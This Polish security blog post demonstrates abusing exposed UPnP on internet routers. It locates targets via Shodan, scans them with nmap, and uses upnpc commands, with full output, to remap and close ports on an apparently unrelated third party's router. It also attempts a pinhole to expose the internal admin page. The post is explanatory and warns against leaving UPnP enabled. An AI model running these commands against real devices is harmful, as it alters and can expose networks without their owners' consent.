Close all the things!
Napisał: Patryk Krawaczyński
23/10/2016 w Ataki Internetowe, Bezpieczeństwo, Pen Test Brak komentarzy. (artykuł nr 565, ilość słów: 993)
Z
nowu IofT dał popalić Internetowi. Jak powstrzymać te wszystkie urządzenia przed przejęciem? Hmm… najlepiej je zamknąć przed zewnętrznym dostępem. Ale jak? Co łączy wszystkie te urządzenia? Może protokół? Ale jaki? HTTP. No tak, ale nie wstrzykniemy nim przecież uwierzytelnienia. To musi być coś uniwersalnego… No tak! UPnP. Spójrzmy ile mniej więcej jest wystawionych interfejsów tego protokołu. Według shodana prawie 14 milionów (dokładnie: 13,968,198). To już daje jakieś pole do popisu. Zacznijmy od routerów.
Po krótkiej analizie wybieram grupę, która wystawia plik gatedesc.xml (ilość: 1,342,362). Możemy też nastawić się na port 49152 (ilość: 1,896,499) lub inną charakterystykę, która pogrupuje nam urządzenia. Jeśli wejdziemy bezpośrednio na urządzenie poprzez adres: http://X.X.X.X:49152 powinniśmy otrzymać błąd 404:
HTTP/1.1 404 Not Found SERVER: Linux/2.6.21.1, UPnP/1.0, Portable SDK for UPnP devices/1.6.0 CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html
Natomiast adres http://X.X.X.X:49152/gatedesc.xml da nam już więcej szczegółów:
deviceType: urn:schemas-upnp-org:device:InternetGatewayDevice:1 friendlyName: 3.5GHz - 1 Data ports CPE manufacturer: Gemtek Inc. manufacturerURL: http://www.gemtek.com.tw modelDescription: WiMAX 802.16e CPE modelName: CPE modelNumber: ID-350(e) UDN: uuid:75902509-bccb-40e7-8g6c-fa095ecce13f UPC: Linux IGD presentationURL: http://192.168.1.2
Najważniejszą informacją jest adres wewnętrzny pod którym możemy znaleźć (presentationURL) interfejs webowy danego urządzenia. Sprawdźmy jakie inne porty są dostępne z Internetu dla tego routera:
root@darkstar:~# nmap -sS X.X.X.X Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 23:37 CEST Nmap scan report for open-routers-gonna-die.org (X.X.X.X) Host is up (0.30s latency). Not shown: 992 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 161/tcp filtered snmp 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 49152/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 23.55 seconds
No tak. Oprócz upnp najbardziej wrażliwy port (http) udostępniony jest na świat. Kwestią czasu może być złamanie hasła lub użycie standardowego zestawu. Musimy coś z tym zrobić. Na naszej maszynie do testów instalujemy mały program, który umożliwi nam rozmowę z routerem po specyfikacji UPnP/1.0
:
apt-get install -y miniupnpc
Sprawdźmy czy jesteśmy w stanie się porozumieć:
root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -P upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. upnpDiscover() error code=0 Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection Local LAN ip address : 10.0.2.15 Presentation URL found: http://192.168.2.1/
Wszystko się zgadza. Zastanówmy się teraz, jak możemy zamknąć powyższe porty? Znamy wewnętrzną adresację (192.168.2.0/24) oraz który wewnętrzny port jest także otwarty (80). A, co gdybyśmy nadpisali konfigurację i przekierowali zewnętrzne porty na zamknięte / niedostępne wewnętrznego interfejsu? Spróbujmy:
root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -a 192.168.1.2 666 80 TCP upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. upnpDiscover() error code=0 Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection Local LAN ip address : 10.0.2.15 ExternalIPAddress = X.X.X.X InternalIP:Port = 192.168.1.2:666 external X.X.X.X:80 TCP is redirected to internal 192.168.1.2:666 (duration=0)
Program twierdzi, że operacja została zakończona powodzeniem. Potrzebujemy jeszcze potwierdzenia od skanera:
root@darkstar:~# nmap -sS X.X.X.X Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 23:39 CEST Nmap scan report for open-routers-gonna-die.org (X.X.X.X) Host is up (0.38s latency). Not shown: 992 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp filtered http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 161/tcp filtered snmp 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 52869/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 23.03 seconds
“Ta-dah! It’s, it’s gone”. Właśnie zdalnie “zabezpieczyliśmy” obcy router. Analogicznie zamknijmy upnp:
root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -a 192.168.1.2 666 49152 TCP upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. upnpDiscover() error code=0 Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection Local LAN ip address : 10.0.2.15 ExternalIPAddress = X.X.X.X connect: Connection timed out GetSpecificPortMappingEntry() failed with code -3 (UnknownError)
Rzeczywiście. Program zakończył się błędem, ponieważ została ucięta gałąź, na której siedzieliśmy. Potwierdźmy to jeszcze nmapem:
root@darkstar:~# nmap -sS X.X.X.X Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 23:40 CEST Nmap scan report for open-routers-gonna-die.org (X.X.X.X) Host is up (0.32s latency). Not shown: 992 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp filtered http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 161/tcp filtered snmp 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 52869/tcp filtered unknown Nmap done: 1 IP address (1 host up) scanned in 28.87 seconds
Wszystkie porty zamknięte. Misja zakończona. Pewnie wielu czytelników się teraz zastanawia, a co jeśli byśmy przekierowali zewnętrzną komunikację na wewnętrzny port 80? Na przykład przekierowali 81 (Internet) na 80 (LAN), czyli otworzyli sobie drogę do interfejsu webowego urządzenia nawet, gdyby ono go nie udostępniało na świat. Z grupy przebadanych urządzeń wynika, że byśmy tylko otworzyli kolejny filtrowany port od strony Internetu:
81/tcp filtered hosts2-ns no-response
Aby rzeczywiście zrobić dziurę w routerze byśmy musieli użyć metody pinhole:
root:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -A X.X.X.X 81 192.168.1.2 80 TCP 3600 upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. upnpDiscover() error code=0 Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConnection Local LAN ip address : 10.0.2.15 AddPinhole([X.X.X.X]:81 -> [192.168.1.2]:80) failed with code -3 (UnknownError)
Niestety metoda pinhole jest dostępna tylko dla urządzeń obsługujących Internet Gateway Device (IGD) w wersji 2.0:
root@darkstar:~# upnpc -u http://X.X.X.X:49152/gatedesc.xml -S upnpc : miniupnpc library test client. (c) 2005-2014 Thomas Bernard Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. upnpDiscover() error code=0 Found valid IGD : http://X.X.X.X:49152/upnp/control/WANIPConn1 Local LAN ip address : 10.0.2.15 FirewallEnabled: 0 & Inbound Pinhole Allowed: 0 GetFirewallStatus: Firewall Enabled: No Inbound Pinhole Allowed: No Bytes: Sent: 4294967293 Recv: 4294967293 Packets: Sent: 4294967293 Recv: 4294967293
Tak, czy inaczej powyższy przykład doskonale ilustruje niebezpieczeństwo pozostawienia włączonego protokołu UPnP na urządzeniach sieciowych.
Więcej informacji: upnpc -h
, Universal plug and play mapping attacks, Simple Service Discovery Protocol reflection DDoS attacks, Adventures in UPnP with cURL and netcat, Przegląd wybranych metod niwelowania ograniczeń sieci lokalnych